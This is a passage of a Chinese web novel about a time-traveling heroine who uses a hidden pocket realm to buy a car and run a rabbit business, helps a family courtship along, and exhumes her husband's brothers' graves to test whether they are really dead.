秦星河和秦雪松也纷纷表示要全力配合调查。就在众人商议对策时,一名侍卫匆匆跑来,在秦远霄耳边低语了几句。 秦远霄的脸色骤然一变,“什么?你确定吗?” 侍卫郑重地点点头。 秦远霄深吸一口气,转向众人,“刚刚得到消息,有人在城南的一处废弃宅院中发现了大量蛊虫的痕迹。” 这个消息如同一颗重磅炸弹,瞬间在众人心中炸开。宁芷薇感到一阵心悸,她下意识地抓住了秦远霄的手。 “远霄,我们必须亲自去看看。”宁芷薇坚定地说道。 秦远霄点点头,“好,我们这就去。” 秦老夫人叮嘱道,“一定要小心,千万不要打草惊蛇。” 众人匆匆离开庄子,朝城南赶去。一路上,宁芷薇的心中充满了不安和期待。她隐隐感觉到,他们可能即将揭开这个谜团的一角。 然而,她并不知道,等待他们的将是更大的危机和挑战。在这个暗流涌动的夜晚,一场惊心动魄的较量即将拉开帷幕。 宁芷薇悄悄来到一处僻静之处,进入了界阙。 刚一进去,眼前的景象让她忍俊不禁。她的小墨圆儿正襟危坐在牧场边上,两只肉乎乎的小爪子有模有样地挥舞着。而更让人惊讶的是,一百多只绵羊竟然整整齐齐地排成两列,对着它的方向,仿佛在接受检阅。 感受到主人的气息,小家伙回头看了一眼,却没有像往常一样扑过来撒娇。它继续认真地指挥着它的“羊群”,小模样煞是可爱。 宁芷薇靠在栅栏上,看着这一幕,不禁莞尔。这个小东西,竟然学会指挥绵羊了?她静静地看着小墨圆儿忙碌的样子,心中的烦忧似乎也减轻了几分。 界阙里的时光仿佛变得缓慢,绵羊们温顺地跟随着小墨圆儿的指挥,偶尔发出几声咩咩的叫声。远处的果树在微风中轻轻摇曳,空气中弥漫着淡淡的草香。这一刻的宁静,让宁芷薇暂时忘记了外界的纷扰。 宁芷薇静静地站在原地,目光落在那群羊身上。春日的暖阳洒在草地上,微风拂过,带来阵阵青草的清香。 墨圆儿的指令一出,羊群立刻有条不紊地行动起来。它那圆滚滚的身子挺得笔直,小爪子挥舞着,像个认真的小指挥家。 第一排的羊儿向左奔跑,蹄子踏在柔软的草地上发出轻微的“咯咯”声。后排则朝着相反的方向移动,羊群间默契十足,仿佛经过千百次排练。整个场面井然有序,在阳光下构成了一幅动态的画卷。 第一百二十四章 成群的羊一转眼就聚成了个巨型环形,阳光透过缝隙洒下,在地上投射出斑驳的光影。墨圆儿站在圈子中央,小脑袋微微扬起,嘴里发出几声酷似羊叫的声音。那声音虽然稚嫩,却自带一股不容置疑的威严。 羊群听到这声音,纷纷向中间聚拢。它们的毛发在阳光下泛着柔和的光泽,密密麻麻地挤在一起,像一朵绽放的白色棉花。 墨圆儿对自己的杰作十分满意,立刻停下了动作。它迈着欢快的小短腿朝宁芷薇跑来,一路上发出兴奋的叫声,小尾巴欢快地摇晃着。 宁芷薇蹲下身,将这个毛茸茸的小家伙抱在怀里。她的手指轻轻梳理着墨圆儿的毛发,拍打掉沾染的草叶。阳光透过树叶的缝隙洒在两人身上,温暖而惬意。 “你这小东西,比牧羊犬还厉害。”她笑着说道,语气中满是宠溺。 墨圆儿似乎听懂了主人的夸奖,发出一声甜腻的叫声。它的小脑袋不停地往她怀里钻,柔软的毛发蹭得宁芷薇手心发痒。 看着怀中这个可爱的小家伙,宁芷薇心中一片柔软。春风拂过她的发梢,带来远处花草的芬芳。她闭上眼睛,感受着这片刻的宁静。 她立即用意念配制了一份玉露浆,准备奖励给墨圆儿。奶香四溢,墨圆儿的小鼻子顿时抽动起来,眼睛亮晶晶的,充满期待。 然而想到即将前往东陲的事情,宁芷薇不禁皱起了眉头。微风吹乱了她的发丝,也吹乱了她的思绪。 这个小家伙平日里最依恋她,而且对界阙里的生活更是喜爱得紧。每次她进入界阙,墨圆儿总是第一个跑来迎接,蹭着她的脚踝撒娇。 尤其是墨圆儿的食物,都是来自界阙。那些特制的美食,早已成为它不可或缺的日常。若是把它留在家中,恐怕会水土不服,甚至可能因此生病。 思索再三,宁芷薇决定带上墨圆儿一同前往东陲。她轻轻抚摸着墨圆儿的小脑袋,后者发出满足的呼噜声。 反正这段时间墨圆儿经常待在界阙里,外人问起时她也只说它进山了。村里人早已习惯了这个说法,这倒是头未经驯化的荒野生灵,上山觅食再正常不过。 阳光渐渐西斜,宁芷薇抱着墨圆儿往主屋走去。路上,她看到三嫂正在那里收拾房间,动作轻快而细致。 自从夫君回来,三嫂整个人都焕发出了新的光彩。她的眼角眉梢都带着笑意,连走路都带着轻快的节奏。 她一遍又一遍地整理着房间,掸去每一处可能存在的灰尘,擦拭每一件家具。那认真的模样,仿佛在打理一件珍贵的艺术品。 待检查完所有角落,确认一切都完美无缺,这才回到主屋。屋内飘着淡淡的茶香,几个家人正围坐在一起,商议着东陲之行的细节。 三嫂静静地坐在一旁,双手规矩地放在膝上。她的目光时不时瞟向自己的夫君,眼中满是温柔。 夜色渐深,秦老夫人张罗着大家吃过饺子。热气腾腾的饺子上桌时,饭香四溢,勾起了所有人的食欲。 酒足饭饱后,众人各自散去。月光如水般洒在院子里,为万物镀上一层银辉。 秦远霄与宁芷薇一同进入界阙,两人都没有睡意。界阙里的花香沁人心脾,微风轻拂,带来阵阵清凉。 这次只有他们两人同行,宁芷薇打算动用一下现代交通工具。她看着远处的月亮,轻声说道:“从这里到东陲,即便快马加鞭也需要十天时间。” 路上耗费光阴这种事她才不干。想到这里,宁芷薇拿出手机,给古玩鉴赏家发了消息。屏幕的光映在她脸上,显得格外明亮。 一番沟通后,她不仅买到了充足的汽油,还订购了一辆奔驰大G。当这些东西出现在界阙里时,秦远霄惊讶地说不出话来。 那辆黑色的越野车在月光下泛着冷光,威武而神秘。秦远霄围着车子转了好几圈,眼中满是好奇。 “薇薇,这是什么?”他指着那台巨大的“铁盒子”问道,声音里带着掩饰不住的惊讶。 宁芷薇这才想起还没向他解释过这些。她拉着秦远霄的手,感受着他掌心的温度,耐心地说道:“这叫汽车,是我在仙市阁上看到的。它不用牲口拉,只要人去操作就能跑得很快,而且坐着很舒服。” 看着秦远霄惊奇的眼神,宁芷薇心中暗暗发笑。这些现代的东西对他来说实在太过新奇,她也不好解释得太详细。 毕竟,有些秘密还是要藏在心里的好。月光下,两人的影子交织在一起,拉得很长很长。 宁芷薇站在界阙里,望着眼前这辆黑色的大G,心中五味杂陈。指尖轻轻抚过车身,冰凉的触感让她恍惚间想起了许多往事。 这辆车是她穿越前最后的念想,如今却要将它拿出来使用。她深吸一口气,努力平复着内心的波动。穿越者的身份始终是个无法言说的秘密,这个时代的人或许永远无法理解和接受这样的事实。 “夫人,您在想什么?”秦远霄不知何时已经站在了她身后。 宁芷薇回过神来,扯出一抹笑容:“没什么,就是在想该怎么教你驾驭这铁马车。” “这就是你说的铁马车?”秦远霄绕着车子转了一圈,手指不时触碰着车身的各个部位,眼中闪烁着浓浓的好奇,“工艺真是精妙。” “要不要近距离感受一下?”宁芷薇拉开副驾驶的门。 秦远霄迟疑了一下,小心翼翼地坐了进去。他的目光在车内环顾,最后停留在光滑的仪表盘上:“这些是做什么用的?” “每个按钮都有不同的功能。”宁芷薇坐进驾驶位,“比如这个可以调节座椅,这个能控制车窗......” 秦远霄认真地听着,不时点头。虽然对媳妇儿为何如此了解这铁马车心存疑惑,但他早已习惯了不去过问她的秘密。每个人都有自己的故事,有些事情,或许不问才是最好的选择。 “这个玻璃,”秦远霄抚摸着车窗,“做工比威廉家的还要精细。” 宁芷薇笑了笑:“那是自然,这可是用特殊工艺制成的。”她看着丈夫孩子般新奇的模样,心中涌起一丝暖意,“要不要试试开车?” “当真可以?”秦远霄眼睛一亮,随即又有些迟疑,“这么贵重的物件......” “没关系,我教你。”宁芷薇示意他换到驾驶位。 两人交换了位置,宁芷薇开始耐心讲解:“首先,这个是方向盘,用来控制车子转向。脚下有三个踏板......” 第一百二十五章 秦远霄学得极快,很快就掌握了基本操作。当车子第一次在他的控制下平稳行驶时,他的眼中闪烁着掩饰不住的兴奋。 “比赶马车轻松多了。”秦远霄由衷感叹,“这座椅也舒服,难怪你说它能让东陲之行更便利。” 直到油表见底,秦远霄才依依不舍地停下车子。他望着宁芷薇,眼中带着几分期待:“你说我们什么时候动身比较好?” “等过了元宵吧。”宁芷薇沉吟片刻,“现在正值年关,东陲那边也在过年,不是打探消息的好时机。而且......”她顿了顿,“我还要处理一些家里的事。” 大年初一,宁芷薇开始张罗着处理那些成年的公兔。家里的男人们分工合作,有的负责宰杀,有的负责剥皮。院子里弥漫着忙碌的气息。 秦星河站在一旁,笨拙地学着给兔子剥皮。他的动作不够熟练,却格外认真。宁芷薇看在眼里,心中欣慰。这个曾经的纨绔少爷,如今也能安心做这些活计了。 正忙着的时候,院门被敲响。 “是蒋公子。”秦雨澜的声音突然变得紧张,手中的活计也顿了一下。 宁芷薇转头看去,只见蒋承志手提油纸包走了进来。他穿着一身月白色长袍,衣着整洁,举止得体。目光在扫过院子里众人时,不经意地在秦雨澜身上多停留了一瞬。 “蒋兄弟大年初一就来拜年,真是太客气了。”秦远霄放下手中的活计,笑着上前相迎。 蒋承志的视线在秦星河身上停留了片刻,眼中闪过一丝诧异。曾经的纨绔少爷此刻正蹲在地上给兔子剥皮,这画面确实有些不可思议。 “听闻秦家的醉香兔极为美味,特地来讨教。”蒋承志笑着说道,目光却时不时地往秦雨澜那边瞟去。 秦雨澜低着头,专注地处理着手中的活计,但微红的耳尖却暴露了她的心绪。 宁芷薇看在眼里,心中了然。这位蒋公子,怕是对妹妹动了心思。她想起前些日子在街上偶遇的场景,当时蒋承志也是这般,目光总是不自觉地追随着秦雨澜。 “我先去给老夫人请安”蒋承志道,众人也放下手中的活计,跟了进来。 蒋承志站在秦府的大堂中,手中捧着几份礼物,指尖微微泛白。庭院里传来几声鸟鸣,更衬得他此刻心跳如雷。 这是他第一次正式登门拜访秦府。从踏进大门的那一刻起,他就感受到了前所未有的压力。 府中的下人来来往往,偶尔投来好奇的目光。蒋承志暗自调整呼吸,目光不自觉地在门口徘徊,期待着那道身影的出现。 “蒋大人来了。”管家恭敬地引着他往里走,“老夫人他们都在正厅等着。” 行至正厅,蒋承志看到秦老夫人端坐在主位上,两侧是秦家几位兄长和嫂嫂。他的目光在人群中快速扫过,却没有找到想见的那个人。 “见过老夫人。”他微微躬身,“打扰了。” “蒋大人快请坐。”秦老夫人笑着示意,“听说你这段时间在衙门里忙得很。” 蒋承志在下首坐定,恭敬道:“确实有些忙,最近城里事务繁多。” “年轻人忙些好,”秦老夫人慈祥地点头,“只是也要注意身体。” 蒋承志连忙从包袱中取出那株老山参,双手奉上:“老夫人,这是孟某为您准备的一株老山参,听闻您身子不太好,希望能为您补补。” 秦老夫人接过,笑意更深:“蒋大人有心了。” 接着,他又将目光转向秦家几位兄长和嫂嫂,从包袱中取出几盒点心和茶叶:“这是宁远最有名的芷兰糕,还有家中寄来的好茶,请诸位笑纳。” 秦远霄等人连忙起身道谢,气氛渐渐融洽起来。 这时,一阵轻盈的脚步声从外传来。蒋承志心头一跳,下意识地挺直了背脊。 秦雨澜换了一袭淡青色长裙,发间只簪了一支玉簪,清雅素净。她向众人行礼后,在二嫂身边坐下。 蒋承志的手不自觉地摸向最后一个精致的小布包,指尖微微发颤。这是他特意为秦雨澜准备的礼物,为了挑选这份礼物,他可是费尽了心思。 前几日,派出去打探消息的蒋昭告诉他,最近城里贵女们都在追捧一种玉耳兔挂件,一个能卖到十二两银子。他好不容易才用二十四两的高价从沈良远手中买到一个。 “这个...是送给墨姑娘的。”他将那个精致的玉耳兔挂件拿出来,声音不自觉地放轻了些。 然而,当他抬头时,却发现秦家人的表情有些异样。几位兄长和嫂嫂们都在极力忍着笑意,就连一向稳重的秦远霄嘴角都微微抽动。 “这个挂件...”秦雨澜红着脸开口,声音细若蚊蝇,“是我和几位嫂嫂做的。” 蒋承志只觉得脸上一阵发烫,手中的挂件仿佛突然变得烫手。他想说些什么,却发现自己一个字都说不出来。 秦雨澜快步回房,不一会儿便捧着七个颜色各异的玉耳兔挂件出来。 “蒋大人请看,这些都是我们做的。”她将挂件摆在桌上,每一个都做工精致,栩栩如生。 看着那七个一模一样的挂件,蒋承志恨不得找个地缝钻进去。他花了两倍的价钱,买了一个秦家自己制作的东西送给秦雨澜。这种感觉,就像是把别人种的菜买回来送给种菜的人一样。 “蒋大人有心了。”秦老夫人适时开口,打破了尴尬的气氛,“这挂件虽是我们做的,但在城里可是十分抢手呢。” “是啊,”大嫂也帮腔道,“蒋大人能想到送这个,说明很用心。” 秦雨澜低着头,小声说道:“我很喜欢这个礼物。” 她的声音很轻,但落在蒋承志耳中却格外清晰。看着少女微红的脸颊,他心中泛起一丝异样的感觉。 “雨澜,随娘去后院看看。”秦老夫人起身,向女儿招手。 等到母女二人离开,大堂中的气氛才渐渐轻松下来。二嫂笑着打趣道:“蒋大人,你可知道这挂件是怎么火起来的?” 蒋承志摇头,心中却已隐约猜到了什么。 “这是雨澜闲来无事做着玩的,”二嫂继续说道,“后来被几个姐妹看中,非要讨去。没想到一传十,十传百,现在竟成了城里的抢手货。” 三嫂也笑道:“是啊,前几日还有人出二十两银子要买呢,我们都没卖。” 蒋承志这才明白,为何沈良远会要那么高的价格。原来这挂件竟是秦雨澜亲手所做,难怪城中女子趋之若鹜。 第一百二十六章 后院中,秦老夫人将女儿带到自己房中。看着已经亭亭玉立的秦雨澜,她心中五味杂陈。 女儿已到了该议亲的年纪。从京城到塞北,身份地位的巨大落差让她一直在为女儿的终身大事发愁。但今日看到蒋承志看向秦雨澜时那温柔的眼神,或许...这是一个不错的选择。 “雨澜,”秦老夫人轻声唤道,“和娘说说话。” 秦雨澜坐在母亲身边,手指无意识地绞着衣角。窗外的梅花暗香浮动,檐角的风铃随风轻响,屋内却弥漫着一股难言的紧张气氛。 “娘要和雨澜说什么?”她轻声问道,目光游移不定。 秦老夫人望着眼前亭亭玉立的女儿,眼中满是慈爱。岁月虽在她脸上留下痕迹,但那份端庄优雅依旧不减当年。 “我的雨澜越来越漂亮了。”她伸手抚摸着女儿柔顺的青丝,“这般年纪,也该考虑终身大事了。” “娘生得好看,女儿自然也不差。”秦雨澜撒娇般靠在母亲肩头,试图转移话题。 提到京城的往事,秦老夫人眼中闪过一丝感慨:“当年在京城,那些贵公子们可是把咱们秦家的门槛都快踏破了。只可惜...”她的声音渐渐低了下去。 秦雨澜知道母亲想起了什么,连忙握住她的手:“娘,那都是过去的事了。” 屋外传来下人们忙碌的声音,院子里飘来阵阵菜香。秦老夫人回过神来,轻轻拍了拍女儿的手:“是啊,都过去了。现在咱们在这儿过得挺好。” 听母亲提起婚事,秦雨澜俏脸顿时飞上两朵红云。她低着头,长长的睫毛微微颤动,不知在想些什么。 不知为何,脑海中忽然浮现出蒋承志的身影。那挺拔的身姿,温润如玉的气质,还有那双总是带着温和笑意的眼睛。每次相遇,他都彬彬有礼,却又带着几分若有若无的关切。 想到这里,她的心跳突然加快,连忙将头埋进母亲怀里,掩饰自己的慌乱。 “娘,我不想嫁人,愿意永远守在您身边。”她的声音闷闷的,带着几分撒娇的意味。 “傻孩子,女孩子终究要嫁为人妇。”秦老夫人轻轻拍着女儿的背,语气中带着几分无奈,“你看看你九嫂,嫁给你九哥后过得多好。” 沉默片刻,秦老夫人试探着问:“娘看蒋大人不错,你觉得呢?为人正直,待人温和,最重要的是...” 秦雨澜的心猛地漏跳一拍,将头埋得更深了:“娘...这种事怎么能问我...” 看着女儿羞涩的模样,秦老夫人心下了然。她轻笑着摇摇头,没有再多说什么。 此时,宁芷薇正带着几位嫂嫂在灶房忙活,准备制作醉香兔。香料的气味飘散在院子里,引得路过的下人频频回头。 “九弟妹,这个味道调得可以吗?”二嫂端着一碗调料凑过来问道。 宁芷薇尝了一口,点点头:“火候刚好,再加点花椒就更好了。” 厨房里热火朝天,女眷们说说笑笑,气氛融洽。 蒋承志虽坐在主屋与几位男眷谈话,心思却早已飞到了某个闺房。今日特意登门,却迟迟不见那抹倩影。他强作镇定地与秦家诸位兄长谈天说地,眼角余光却不时瞥向门外。 “蒋大人近来可有什么新鲜事?”秦家二爷笑着问道。 蒋承志回过神来,连忙答道:“也无甚要事,就是...” 话未说完,外面传来一阵脚步声。他下意识地抬头望去,却见是个丫鬟端茶进来,不禁有些失望。 秦雨澜躲在房中,手中捧着九嫂给的医书,却一个字也看不进去。她的心思全在外面,想着蒋承志此刻在做什么,在和谁说话。 “小姐,该用晚膳了。”丫鬟在门外轻声提醒。 秦雨澜这才惊觉天色已晚,不得不整理衣裳出门。她本想找个远离男眷的位置,谁知二嫂偏要拉她坐在近处。 “雨澜,来来来,坐这儿。”二嫂笑眯眯地拉着她的手。 她推脱不过,只得硬着头皮就座。余光瞥见蒋承志就坐在斜对面,她的手不自觉地握紧了筷子。 饭桌上,蒋承志频频分神,目光总是不自觉地往那边飘去。每次看到秦雨澜低头用膳的样子,他的心就不由自主地柔软下来。 饭后闲谈,秦老夫人有意无意地打听着蒋家的情况。从家中长辈到兄弟姐妹,事无巨细地问了个遍。 蒋承志心中紧张,却又期待着能借机表明心意。可惜话到嘴边,又咽了回去。他不知道的是,秦雨澜虽然坐在一旁装作漫不经心的样子,却将每一句话都听在心里。 夜深了,蒋承志不得不告辞。临走时,他的目光在院中逡巡,似乎在寻找什么。月光下,一片梅花瓣轻轻落在他的肩头,他伸手接住,小心翼翼地放进袖中。 宁芷薇站在院子里,看着那一窝刚出生不久的金丝长玉耳兔,眼底闪过一丝期待。清晨的阳光透过枝叶洒落在兔舍上,给这些毛茸茸的小家伙披上了一层金色的光晕。 她蹲下身,轻轻抚摸着一只纯白色小兔子的耳朵。这些可爱的小东西,将是她开创新生意的关键。虽然现在它们还小,但那柔软蓬松的毛发已经显露出不凡的品质。 “九嫂,九嫂!”秦雨澜的声音从身后传来,伴随着轻快的脚步声,“你快看,这只小白兔今天又长胖了!” 小姑娘怀里抱着一只体型硕大的雪白玉耳兔,兔子乖巧地蜷缩在她的臂弯里,一动不动。那对又长又软的耳朵耷拉在两侧,整个身子都被蓬松的长毛包裹着,活像一个会呼吸的大毛球。 宁芷薇转身,看着女儿兴奋的小脸,忍不住伸手揉了揉她的发顶:“是啊,都快赶上小狗那么大了。” “它最喜欢吃胡萝卜了,”秦雨澜小心翼翼地放下兔子,看着它蹦蹦跳跳地跑向草丛,“每次我一拿出胡萝卜,它就会竖起耳朵,然后...” 她的话还没说完,院外突然传来一阵脚步声,打断了她的话。 “九嫂在家吗?”沈良远的声音从外面传来,带着几分商人特有的爽朗。 宁芷薇拍了拍裙摆上的草屑,站起身来:“在呢,快请进。” 第一百二十七章 院门吱呀一声被推开,沈良远带着妹妹沈良萱走了进来。他本想着今天过来盘点完醉香兔的订单就赶紧回城,却被院子里的景象惊住了。 “这是...”沈良远的目光在那些毛色各异的玉耳兔之间游移,眼中闪过一丝惊讶。 “雨澜姐姐,这些兔子好可爱啊!”沈良萱已经迫不及待地跑到秦雨澜身边,目不转睛地盯着那些蹦跳的小家伙。 秦雨澜骄傲地扬起小脸:“这是金丝长玉耳兔,是我的宝贝。你要不要抱抱看?” 她说着,又从兔舍里抱出一只灰白相间的小兔子,递给沈良萱。小姑娘小心翼翼地接过兔子,爱不释手地抚摸着它柔软的毛发。 “大哥,你摸摸看,好软啊!”沈良萱兴奋地喊道。 沈良远走近几步,伸手摸了摸兔子的背部。触手的柔软让他心中一惊,这哪里是普通的肉兔,分明就是个稀罕物件。他的目光转向宁芷薇,眼中闪烁着商人特有的精明光芒。 “九嫂,这兔子...” 宁芷薇早就看出他的心思,嘴角勾起一抹浅笑:“这是我们新培育的品种,专门用来当宠物的。” “宠物?”沈良远眼前一亮,仿佛抓住了什么重要的信息。 “对,”宁芷薇指了指院子里的几个兔舍,“你看它们的样子,这么可爱,肯定会有人愿意买回去养着玩的。现在城里那些富贵人家,不都喜欢养些稀奇的小动物吗?” 秦雨澜这时又抱来一只小巧玲珑的垂耳兔,兔子的耳朵向下折叠,显得格外可爱:“唐大哥你看,这种更可爱呢!它的耳朵像不像打了个结?” 沈良远仔细打量着两种兔子,脑海中已经浮现出无数个商机。他在城里经商多年,深知那些富贵人家的喜好。这样独特的宠物,一定能在城里掀起一阵风潮。 “九嫂,这兔子要是拿到城里卖,那些富贵人家一定会抢着要。”他的声音里带着掩饰不住的兴奋,“尤其是那些小姐们,见了这么可爱的小东西,哪有不喜欢的?” 宁芷薇点点头,但语气中带着几分谨慎:“不过现在小兔子还太小,得再养二十天左右才能出售。而且...” 她顿了顿,看向沈良远:“这些兔子可不比普通肉兔,价格自然也要高一些。” “这是自然,这是自然。”沈良远连连点头,“这样的稀罕物件,便宜了反而显得不值钱。九嫂打算卖多少银子一只?” 宁芷薇没有直接回答,而是问道:“你觉得城里那些富贵人家,会愿意出多少银子买这样一只兔子?” 沈良远沉吟片刻:“如果是普通的肉兔,一只也就几百文钱。但这种宠物兔,光看这毛色和样貌,至少能卖到三两银子,要是遇上特别喜欢的,五两银子也不是问题。” “那就四两银子一只。”宁芷薇开出了价格,“不过只能卖公兔,母兔得留着继续繁育。” 沈良远眼睛一亮:“成交!等小兔子长大些,我一定要拿几只去城里卖!” 一旁的沈良萱还在逗弄着怀里的小兔子,听到要卖兔子,不由得有些不舍:“大哥,你一定要给它们找个好主人。” “放心,”沈良远笑着摸了摸妹妹的头,“我一定给它们找个疼爱它们的主人。不过...”他转向宁芷薇,“九嫂,这兔子要怎么养?城里人没经验,要是养死了可就不好了。” 宁芷薇点点头:“这个我已经想到了。”她走到屋里,拿出一本薄薄的册子,“这里面写了养兔的注意事项,到时候一并交给买主就是。” 沈良远接过册子翻看了几页,不由得赞叹:“九嫂果然想得周到。” 秦雨澜在一旁插嘴道:“娘亲说了,要对买主负责,这样他们才会一直来找我们买兔子。” 宁芷薇欣慰地看了女儿一眼,这孩子虽小,却已经懂得了经商的道理。 沈良远合上册子,正要说话,忽然想起什么:“对了,九嫂,醉香兔的事...” “放心,”宁芷薇笑道,“这个月的订单一定准时完成。这些宠物兔和肉兔是分开养的,不会耽误生意。” 沈良远这才放下心来。他带着妹妹在院子里又逗弄了一会兔子,这才依依不舍地告辞离开。 看着两人的背影消失在院门外,宁芷薇的目光落在那些蹦跳的小兔子身上,眼中闪过一丝满意的笑意。这些小家伙,将会为她带来一笔不菲的收入。 秦雨澜抱着她最喜欢的那只白兔子,仰头问道:“九嫂,我们的兔子真的能卖那么多银子吗?” 宁芷薇蹲下身,与秦雨澜平视:“当然可以。不过要想让生意长久,最重要的是什么,你还记得吗?” “要对买主负责!”秦雨澜脆生生地回答。 “对,”宁芷薇笑着点头,“只有把每一只兔子都养好,让买主满意,他们才会介绍更多人来买我们的兔子。” 醉香兔的生意红火得很,沈良远三天两头往秦家跑,一批批的货物很快就被抢购一空。店铺门前经常排起长队,香辣的气味飘散在街巷中,引得路人频频驻足。 “远霄,这批货卖得太快了,我得赶紧再进一些。”沈良远站在柜台前,手里捏着账本,眉头微蹙。 秦远霄正在整理货架,闻言抬头看了他一眼:“不急,最近天气转暖,我让人多准备些。” 宁芷薇从后厨走出来,手里端着一盘新出炉的醉香兔,热气腾腾的香味扑面而来。她将盘子放在柜台上,笑着对沈良远说:“尝尝这个新配方。” 沈良远拈起一块,咬了一口,眼睛顿时亮了起来:“这味道比之前的还要好!” 日子过得飞快,转眼就到了元宵节后。街上的花灯还未完全撤下,空气中还飘荡着淡淡的甜香。 正月十六这天清晨,秦府后院。宁芷薇正在收拾行囊,墨圆儿蹲在一旁,歪着脑袋看她忙碌。 “小姐,要不要再带些干粮?”丫鬟小碧站在一旁,脸上带着担忧。 宁芷薇摇摇头,轻声安慰:“不用了,路上有驿馆,再说还有远霄在。” 第一百二十八章 秦老夫人拄着拐杖走进院子,看着忙碌的两人,眼中闪过一丝不舍:“这一去东陲路途遥远,你们可要当心。” “母亲放心,我会照顾好芷薇的。”秦远霄牵着一匹骏马走进院子,这是秦雪松特意从衙门借来的。 蒋承志对此睁一只眼闭一只眼,算是默许了他们的行动。毕竟,这趟东陲之行关系重大。 临行前,宁芷薇抱着墨圆儿坐在马背上。她今日穿了一身利于行动的劲装,头发高高束起,显得英气十足。秦远霄随后翻身上马,宽厚的胸膛贴着她的后背,给了她十足的安全感。 墨圆儿乖巧地蜷缩在主人怀里,毛茸茸的脑袋不时蹭着宁芷薇的下巴。远远望去,倒像是一家三口出游。 “路上当心,遇事莫要冲动。”秦老夫人拉着宁芷薇的手叮嘱,苍老的面容上写满担忧,“若是遇到危险,保命要紧。” 离开宁远后,宁芷薇将墨圆儿送进界阙,以免引人注目。春日的阳光温暖却不炙热,微风拂过脸庞,带来淡淡的花香。 两人打算等到夜深人静时开车赶路,白天先找个僻静处休息。这样既能避人耳目,又能节省时间。 傍晚时分,他们找到一处偏僻的林子。秦远霄利落地搭起帐篷,宁芷薇则在界阙里准备晚餐。 “这些天怕是要委屈你了。”秦远霄看着她忙碌的背影,眼中满是柔情。 宁芷薇转身白了他一眼:“现在知道心疼我了?早知如此,当初就该多带几个人来。” “多一个人就多一分风险。”秦远霄走过去从背后抱住她,“况且,我一个人就够保护你了。” 界阙里的挂钟指向晚上八点,秦远霄开着加满油的大G驶上官道。夜色如墨,官道两旁寂静无人,只有车轮碾过土地的声响。 宁芷薇靠在副驾驶上,看着专注开车的男人。月光透过车窗洒在他的侧脸上,勾勒出一道完美的轮廓。她心中暗暗佩服他的精力,一整夜的车程下来,他竟丝毫不见疲惫。 天蒙蒙亮时,两人进入界阙休息。秦远霄却像打了鸡血似的,将她压在身下就是一番缠绵。墨圆儿早已识趣地躲到竹林深处,再不凑这个热闹。 就这样走走停停,四天后他们终于抵达东陲。站在永安与东陲的交界处,秦远霄的眼神暗了暗。这片土地上,曾经洒满了秦家儿郎的鲜血。 宁芷薇察觉到他的情绪变化,轻轻挽住他的手臂:“我们来都来了,别想那么多。” 秦远霄将她拥入怀中,轻柔地在她眉间印上温存:“有你在身边,我已经很满足了。” 天色渐亮,两人决定先去祭拜秦家先人。穿过茂密的山林,九座坟茔映入眼帘。最上首的是秦老国公的墓碑,下方整齐排列着八座坟墓。 清晨的露水打湿了墓碑,秦远霄跪在坟前,重重地磕了三个响头。宁芷薇从界阙取出祭品,一样样摆在墓前。看着那些模糊的碑文,她心中一阵酸楚。 “为国尽忠,却落得这般下场。”她轻声说道,声音里带着说不出的悲凉。 秦远霄点燃三炷香,插在父亲的坟前。香烟袅袅升起,仿佛要穿透云霄,传达游子的思念。 多余赘婿 宁芷薇的目光落在大哥二哥的坟上,心中有个大胆的想法。她咬了咬嘴唇,欲言又止。 “要不要......”她的声音有些颤抖。 “你是想查看大哥二哥的坟?”秦远霄看穿了她的心思,语气温和。 宁芷薇点点头:“如果他们还活着......”她没有说完,但秦远霄明白她的意思。 宁芷薇站在墓碑前,秋风萧瑟,落叶纷飞。远处的山峦笼罩在淡淡的雾气中,更添几分凄清。 她的目光在几座墓碑间来回逡巡,手指无意识地摩挲着衣角。要不要挖开这些坟墓?这个念头像一根刺,深深扎在她的心里,让她坐立难安。 “这样做是不是太过分了......”她喃喃自语,眉头紧蹙。虽说死者为大,但若想查明真相,这或许是唯一的办法。 秦远霄站在她身旁,目光深邃。山风吹起他的衣袍,猎猎作响。 “容我瞧瞧大哥二哥的遗骸。”宁芷薇深吸一口气,终于说出了这句话。她的声音很轻,却带着不容置疑的坚定。 秦远霄闻言一怔,转头看向她:“尸体?”他的语气中带着几分迟疑,“都过去这么多年了......” “我界阙里有血脉验证器。”宁芷薇解释道,手指不自觉地绞在一起,“只要能提取到样本,就能验证亲缘关系。若是地下埋着的并非秦氏血脉......” 她没有说完,但秦远霄已经明白了她的意思。他的呼吸微微一滞,眼中闪过一丝希望的光芒。 沉默良久,秦远霄郑重地向墓碑鞠了一躬:“大哥、二哥,弟弟冒犯了。” 宁芷薇打开界阙阁,快速浏览着各种工具。普通的铁锹效率太低,而且容易损坏尸骨。她需要更精密的设备。 很快,一款微型挖掘机引起了她的注意。这台机器体积只有一米见方,却能精确控制挖掘深度和范围,正适合现在的需求。 “古玩鉴赏家那里应该有燃料。”她在心里盘算着,果然,对方以一元的价格提供了足够的柴油。 当宁芷薇取出挖掘机时,即便是见多识广的秦远霄也不禁露出诧异之色。但此刻气氛凝重,谁都没有说话。 机器轰鸣声打破了山谷的宁静,惊起无数飞鸟。宁芷薇小心翼翼地操控着挖掘机,生怕伤及棺木。 泥土被一层层清理,第一具棺木终于显露出来。棺木已经腐朽,表面布满裂纹,仿佛轻轻一碰就会碎裂。 秦远霄上前帮忙,两人合力掀开棺盖。浓重的腐朽气息扑面而来,宁芷薇下意识地后退半步。 待气味散去,她定睛看向棺内。一具无头骨架静静地躺在那里,骨头上隐约可见青黑色的痕迹。 “这骨头有问题。”宁芷薇俯身仔细观察,眉头越皱越紧。 秦远霄紧张地握住她的手:“怎么了?”他的掌心微微发烫,显示出内心的不平静。 “这人是中毒而死。”宁芷薇一边说,一边取出采样工具,“而且从骨骼的颜色来看,应该是慢性中毒。” 她小心地采集样本,放入检测仪器。界阙内的设备飞速运转,很快给出了结果。 “这具尸体与你没有血缘关系。”宁芷薇松了口气,转头看向秦远霄,“我们再看看二哥的。” 第一百二十九章 第二座坟墓的情况与第一座惊人地相似。同样是无头尸骨,同样带着中毒痕迹,同样与秦远霄毫无血缘关系。 “他们真的还活着!”秦远霄激动地说,声音微微发颤。多年来的疑惑终于得到了答案,但这个答案却带来了更多的问题。 宁芷薇没有立即回应。她站在墓碑前,目光扫过其他坟墓。既然大哥二哥是假死,那其他兄弟是否也有可能? “我们把其他坟墓也查看一下。”她提议道,“也许能发现更多线索。” 秦远霄点头同意。两人配合默契,很快又挖开了三座坟墓。每一具尸骨都显示出相同的特征:无头、中毒、与秦家无关。 就在宁芷薇准备进行最后一次DNA检测时,秦远霄突然做了个噤声的手势。他的表情瞬间变得警惕。 